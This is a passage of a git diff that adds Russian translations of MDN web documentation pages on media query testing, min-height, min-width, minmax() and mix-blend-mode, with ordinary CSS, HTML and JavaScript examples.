+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="internal" href="/en-US/docs/CSS/@media#Media_types">Media types</a></li>
+ <li><a href="/en-US/docs/CSS/@media#Media_features">Media features</a></li>
+ <li><a href="/en-US/docs/CSS/Using_media_queries_from_code">Testing media queries using code</a></li>
+ <li><a href="http://davidwalsh.name/animate-media-queries">CSS Animations Between Media Queries</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Mozilla_Extensions#Media_features">Extended Mozilla media features</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Webkit_Extensions#Media_features">Extended WebKit media features</a></li>
+</ul>
diff --git a/files/ru/web/css/media_queries/тестирование_медиа_запросы/index.html b/files/ru/web/css/media_queries/тестирование_медиа_запросы/index.html
new file mode 100644
index 0000000000..878621ebd3
--- /dev/null
+++ b/files/ru/web/css/media_queries/тестирование_медиа_запросы/index.html
@@ -0,0 +1,83 @@
+---
+title: Тестирование медиа-запросов программно
+slug: Web/CSS/Media_Queries/Тестирование_медиа_запросы
+tags:
+  - Запросы
+  - медиа-запросы
+translation_of: Web/CSS/Media_Queries/Testing_media_queries
+---
+<div>{{cssref}}</div>
+
+<p> {{Glossary("DOM")}} предоставляет возможности, позволяющие тестировать результат  <a href="/en-US/docs/Web/CSS/Media_Queries">медиа-запросов</a> программно, с помощью интерфейса {{domxref("MediaQueryList") }}, его методов и свойств. Однажды, создав объект {{domxref("MediaQueryList") }} вы можете проверить результат запроса или получать уведомление, при изменении результата.</p>
+
+<h2 id="Создание_списка_медиа-запросов">Создание списка медиа-запросов</h2>
+
+<p>Прежде, чем вы сможете оценить результаты медиа-запросов, вам необходимо создать объект {{domxref("MediaQueryList") }} , отражающий запрос. Для этого используйется метод {{domxref("window.matchMedia") }}.</p>
+
+<p>Например, настройка списка запросов, который определяет, находится ли устройство в альбомной или книжной ориентации:</p>
+
+<pre class="brush: js">var mediaQueryList = window.matchMedia("(orientation: portrait)");
+</pre>
+
+<h2 id="Проверка_результата_запроса">Проверка результата запроса</h2>
+
+<p>После того, как вы создали свой список медиа-запросов, вы можете проверить результат запроса, посмотрев на значение его свойства <code>matches</code>:</p>
+
+<pre class="brush: js">if (mediaQueryList.matches) {
+  /* Окно просмотра в настоящее время находится в книжной ориентации */
+} else {
+  /* Окно просмотра в настоящее время находится в альбомной ориентации */
+}
+</pre>
+
+<h2 id="Получение_уведомлений_о_запросах">Получение уведомлений о запросах</h2>
+
+<p>Если вам необходимо постоянно следить за изменениями в результате запроса, эффективнее зарегистрировать <a href="/en-US/docs/Web/API/EventTarget/addEventListener">слушатель</a>, чем вытаскивать результат запросов.  Для этого вызовите метод <code>addListener()</code> объекта {{domxref("MediaQueryList") }} с функцией обратного вызова, которая вызывается при изменении статуса медиа-запроса (например, тест медиа-запроса переходит от <code>true</code> к <code>false</code>):</p>
+
+<pre class="brush: js">var mediaQueryList = window.matchMedia("(orientation: portrait)"); // Создание списка запросов.
+function handleOrientationChange(mql) { ... } // Определение функции обратного вызова для слушателя событий.
+mediaQueryList.addListener(handleOrientationChange); // Добавление функции обратного вызова в качестве слушателя к списку запросов.
+
+handleOrientationChange(mediaQueryList); // Запуск обработчика изменений, один раз.
+</pre>
+
+<p>Этот код создает список медиа-запросов для тестирование ориентации, а затем добавляет к нему слушатель событий. После добавления слушателя, мы, также, непосредственно вызываем слушателя. Это заставляет нашего слушателя выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.</p>
+
+<p>Функция <code>handleOrientationChange()</code> будет следить за результатом запроса и обрабатывать все, что нам нужно сделать при изменении ориентации:</p>
+
+<pre class="brush: js">function handleOrientationChange(evt) {
+  if (evt.matches) {
+    /* Окно просмотра в настоящее время находится в книжной ориентации */
+  } else {
+    /* Окно просмотра в настоящее время находится в альбомной ориентации */
+  }
+}
+</pre>
+
+<p>Выше, мы определяем параметры как <code>evt</code> — event объект. Это имеет значение, поскольку <a href="/en-US/docs/Web/API/MediaQueryList#Browser_compatibility">новые реализации <code>MediaQueryList</code></a> обрабатывают слушатели событий стандартным способом. Они больше не используют нестандартный механизм  {{domxref("MediaQueryListListener")}} , а используют стандартную настройку слушателя событий, передавая <a href="/en-US/docs/Web/API/Event">объект event</a>  {{domxref("MediaQueryListEvent")}} как аргумент функции обратного вызова.</p>
+
+<p>Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства <code>MediaQueryList</code> путем прямого доступа к нему или доступа к event объекту.</p>
+
+<h2 id="Уведомление_о_завершении_запроса">Уведомление о завершении запроса</h2>
+
+<p>Для прекращения уведомлений об изменении значения вашего медиа-запроса вызовите метод <code>removeListener()</code> для {{domxref("MediaQueryList") }}, передав ему имя, ранее определенной функции:</p>
+
+<pre class="brush: js">mediaQueryList.removeListener(handleOrientationChange);
+</pre>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<h3 id="MediaQueryList_interface"><code>MediaQueryList</code> interface</h3>
+
+
+
+<p>{{Compat("api.MediaQueryList")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries">Media queries</a></li>
+ <li>{{domxref("window.matchMedia()") }}</li>
+ <li>{{domxref("MediaQueryList") }}</li>
+ <li>{{domxref("MediaQueryListEvent") }}</li>
+</ul>
diff --git a/files/ru/web/css/min-height/index.html b/files/ru/web/css/min-height/index.html
new file mode 100644
index 0000000000..8459a8ec75
--- /dev/null
+++ b/files/ru/web/css/min-height/index.html
@@ -0,0 +1,119 @@
+---
+title: min-height
+slug: Web/CSS/min-height
+translation_of: Web/CSS/min-height
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="ru/docs/Web/CSS">CSS</a><strong> <code>min-height</code></strong> устанавливает минимальную высоту элемента. Оно предотвращает <a href="/ru/docs/Web/CSS/used_value">используемое значение</a> свойства {{ Cssxref("height") }} от становления меньше, чем значение, указанное для <code>min-height</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-height.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+
+<p>Высота элемента принимает значение <code>min-height</code> всякий раз, когда <code>min-height</code> больше чем {{ Cssxref("max-height") }} или {{Cssxref("height")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; значения */
+min-height: 3.5em;
+
+/* &lt;percentage&gt; значения */
+min-height: 10%;
+
+/* Значения-ключевые слова */
+min-height: max-content;
+min-height: min-content;
+min-height: fit-content;
+min-height: fill-available;
+
+/* Глобальные значения */
+min-height: inherit;
+min-height: initial;
+min-height: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Минимальная высота выражается как {{cssxref("&lt;length&gt;")}}. Отрицательные значения делают свойство недействительным.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Минимальная высота выражается как {{cssxref("&lt;percentage&gt;")}} от высоты родительского блока. Отрицательные значения делают свойство недействительным.</dd>
+</dl>
+
+<h4 id="Значения-ключевые_слова">Значения-ключевые слова</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Минимальная высота для flex-элементов по умолчанию, предоставляет более разумное значение по умолчанию, чем 0 для других способов разметки.</dd>
+</dl>
+
+<dl>
+ <dt><code>max-content</code> {{ experimental_inline() }}</dt>
+ <dd>Внутренняя предпочтительная высота.</dd>
+ <dt><code>min-content</code> {{ experimental_inline() }}</dt>
+ <dd>Внутренняя минимальная высота.</dd>
+ <dt><code>fill-available</code>{{ experimental_inline() }}</dt>
+ <dd>Высота родительского блока минус вертикальные <code>margin</code>, <code>border</code>, и <code>padding</code>. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., <code>available</code>.)</dd>
+ <dt><code>fit-content</code> {{ experimental_inline() }}</dt>
+ <dd>Согласно CSS3 Box, это синоним <code>min-content</code>. CSS3 Sizing определяет более сложный алгоритм, но ни один браузер не реализует его даже экспериментальным путем.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">table { min-height: 75%; }
+
+form { min-height: 0; }
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-height') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Добавляет ключевые слова <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, и <code>fill-available</code>. (CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#min-auto', 'min-height') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Добавляет ключевое слово <code>auto</code> и использует его как первоначальное значение.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-height') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Определяет <code>min-height</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'min-height') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.min-height")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ Cssxref("height") }}, {{ Cssxref("max-height") }}</li>
+ <li><a href="/en-US/docs/CSS/box_model" title="en/CSS/box_model">Блочная модель</a>, {{ Cssxref("box-sizing") }}</li>
+</ul>
diff --git a/files/ru/web/css/min-width/index.html b/files/ru/web/css/min-width/index.html
new file mode 100644
index 0000000000..10feff5ec9
--- /dev/null
+++ b/files/ru/web/css/min-width/index.html
@@ -0,0 +1,118 @@
+---
+title: min-width
+slug: Web/CSS/min-width
+translation_of: Web/CSS/min-width
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="ru/docs/Web/CSS">CSS</a> <strong><code>min-width</code></strong> устанавливает минимальную ширину элемента. Оно предотвращает <a href="/ru/docs/Web/CSS/used_value">используемое значение</a> свойства {{ Cssxref("width") }}  от становления меньше, чем значение, указанное для <code>min-width</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-width.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+
+<p>Ширина элемента принимает значение <code>min-width</code> когда <code>min-width</code> больше чем {{ Cssxref("max-width") }} или {{Cssxref("width")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; значение */
+min-width: 3.5em;
+
+/* &lt;percentage&gt; значение */
+min-width: 10%;
+
+/* Значения-ключевые слова */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* Глобальные значения */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Минимальная ширина выражается как {{cssxref("&lt;length&gt;")}}. Отрицательные значения делают свойство недействительным.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Минимальная ширина выражается как {{cssxref("&lt;percentage&gt;")}} от ширины родительского блока. Отрицательные значения делают свойство недействительным.</dd>
+</dl>
+
+<h4 id="Значения-ключевые_слова">Значения-ключевые слова</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Минимальная ширина для flex-элементов по умолчанию, предоставляет более разумное значение по умолчанию, чем 0 для других способов разметки.</dd>
+ <dt><code>max-content</code> {{ experimental_inline() }}</dt>
+ <dd>Внутренняя предпочтительная ширина.</dd>
+ <dt><code>min-content</code> {{ experimental_inline() }}</dt>
+ <dd>Внутренняя минимальная ширина.</dd>
+ <dt><code>fill-available</code>{{ experimental_inline() }}</dt>
+ <dd>Ширина родительского блока минус горизонтальные <code>margin</code>, <code>border</code>, и <code>padding</code>. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., <code>available</code>.)</dd>
+ <dt><code>fit-content</code> {{ experimental_inline() }}</dt>
+ <dd>Определяет как <code>min(max-content, max(min-content, fill-available))</code>.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css;">table { min-width: 75%; }
+
+form { min-width: 0; }
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Добавляет ключевые слова <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, и <code>fill-available</code>. (CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Добавляет ключевое слово <code>auto</code> и использует как значение по умолчанию.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Определяет <code>min-width</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.min-width")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ Cssxref("width") }}, {{ Cssxref("max-width") }}</li>
+ <li><a href="/en-US/docs/CSS/box_model" title="en/CSS/box_model">Блочная модель</a>, {{ Cssxref("box-sizing") }}</li>
+</ul>
diff --git a/files/ru/web/css/minmax()/index.html b/files/ru/web/css/minmax()/index.html
new file mode 100644
index 0000000000..a938b33cf0
--- /dev/null
+++ b/files/ru/web/css/minmax()/index.html
@@ -0,0 +1,191 @@
+---
+title: minmax()
+slug: Web/CSS/minmax()
+translation_of: Web/CSS/minmax()
+---
+<p><code><strong>minmax</strong></code><strong><code>()</code></strong> это <a href="/en-US/docs/Web/CSS">CSS</a> ф<span id="result_box" lang="ru"><span>ункция, определяющая диапазон размеров, который больше или равен </span></span><var>min</var><span lang="ru"><span> и меньше или равен </span></span><var>max</var>. Используется в <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grids</a>.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* &lt;inflexible-breadth&gt;, &lt;track-breadth&gt; values */
+minmax(200px, 1fr)
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(100px, max-content)
+minmax(min-content, 400px)
+minmax(max-content, auto)
+minmax(auto, 300px)
+minmax(min-content, auto)
+
+/* &lt;fixed-breadth&gt;, &lt;track-breadth&gt; values */
+minmax(200px, 1fr)
+minmax(30%, 300px)
+minmax(400px, 50%)
+minmax(50%, min-content)
+minmax(300px, max-content)
+minmax(200px, auto)
+
+/* &lt;inflexible-breadth&gt;, &lt;fixed-breadth&gt; values */
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(min-content, 200px)
+minmax(max-content, 200px)
+minmax(auto, 300px)
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Функция принимает два параметра, <em>min</em> и <em>max</em>.</p>
+
+<p>Каждый параметр может быть значением <code>&lt;length&gt;</code>, либо <code>&lt;percentage&gt;</code>, либо <code>&lt;flex&gt;</code>, или одним из ключевых слов <code>max-content</code>, <code>min-content</code>, или <code>auto</code>.</p>
+
+<p>Если <var>max</var> &lt; <var>min</var>, то <var>max</var> игнорируется и <code>minmax(min,max)</code> обрабатывается как <var>min</var>. As a maximum, a {{cssxref("flex_value","&lt;flex&gt;")}} value sets the flex factor of a grid track; it is invalid as a minimum.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>A non-negative length.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>A non-negative percentage relative to the inline size of the grid container in column grid tracks, and the block size of the grid container in row grid tracks. If the size of the grid container depends on the size of its tracks, then the <code>&lt;percentage&gt;</code> must be treated as <code>auto</code>. The {{glossary("user agent")}} may adjust the intrinsic size contributions of the track to the size of the grid container and increase the final size of the track by the minimum amount that would result in honoring the percentage.</dd>
+ <dt>{{cssxref("&lt;flex&gt;")}}</dt>
+ <dd>A non-negative dimension with the unit <code>fr</code> specifying the track’s flex factor. Each <code>&lt;flex&gt;</code>-sized track takes a share of the remaining space in proportion to its flex factor.</dd>
+ <dt><code>max-content</code></dt>
+ <dd>Represents the largest max-content contribution of the grid items occupying the grid track.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Represents the largest min-content contribution of the grid items occupying the grid track.</dd>
+ <dt><code>auto</code></dt>
+ <dd>As a maximum, identical to <code>max-content</code>. As a minimum it represents the largest minimum size (as specified by {{cssxref("min-width")}}/{{cssxref("min-height")}}) of the grid items occupying the grid track.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[3] notranslate">#container {
+  display: grid;
+  grid-template-columns: minmax(max-content, 300px) minmax(200px, 1fr) 150px;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+  &lt;div&gt;
+    Item as wide as the content,&lt;br/&gt;
+    but at most 300 pixels.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Item with flexible width but a minimum of 200 pixels.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Inflexible item of 150 pixels width.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 200)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#valdef-grid-template-columns-minmax", "minmax()")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-columns.minmax")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Track_sizing_and_minmax()">Basic concepts of grid layout - track sizing with minmax()</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-minmax/">Introducing minmax()</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/mix-blend-mode/index.html b/files/ru/web/css/mix-blend-mode/index.html
new file mode 100644
index 0000000000..996a1d611a
--- /dev/null
+++ b/files/ru/web/css/mix-blend-mode/index.html
@@ -0,0 +1,649 @@
+---
+title: mix-blend-mode
+slug: Web/CSS/mix-blend-mode
+tags:
+  - CSS
+  - CSS композитинг
+  - CSS свойство
+translation_of: Web/CSS/mix-blend-mode
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS свойство <strong><code>mix-blend-mode</code></strong> определяет режим смешивания цветов выбранного элемента с низлежащими слоями.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}</p>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css">/* Ключевые слова */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* Глобальные значения */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;blend-mode&gt;")}}</dt>
+ <dd>Режим смешивания, который нужно применить.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<div class="hidden" id="mix-blend-mode">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;Blending in isolation (no blending with the background)&lt;/div&gt;
+    &lt;div class="row isolate"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;defs&gt;
+                &lt;linearGradient id="red"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(0,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(0,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="green"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(120,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(120,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="blue"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(240,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(240,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+              &lt;/defs&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
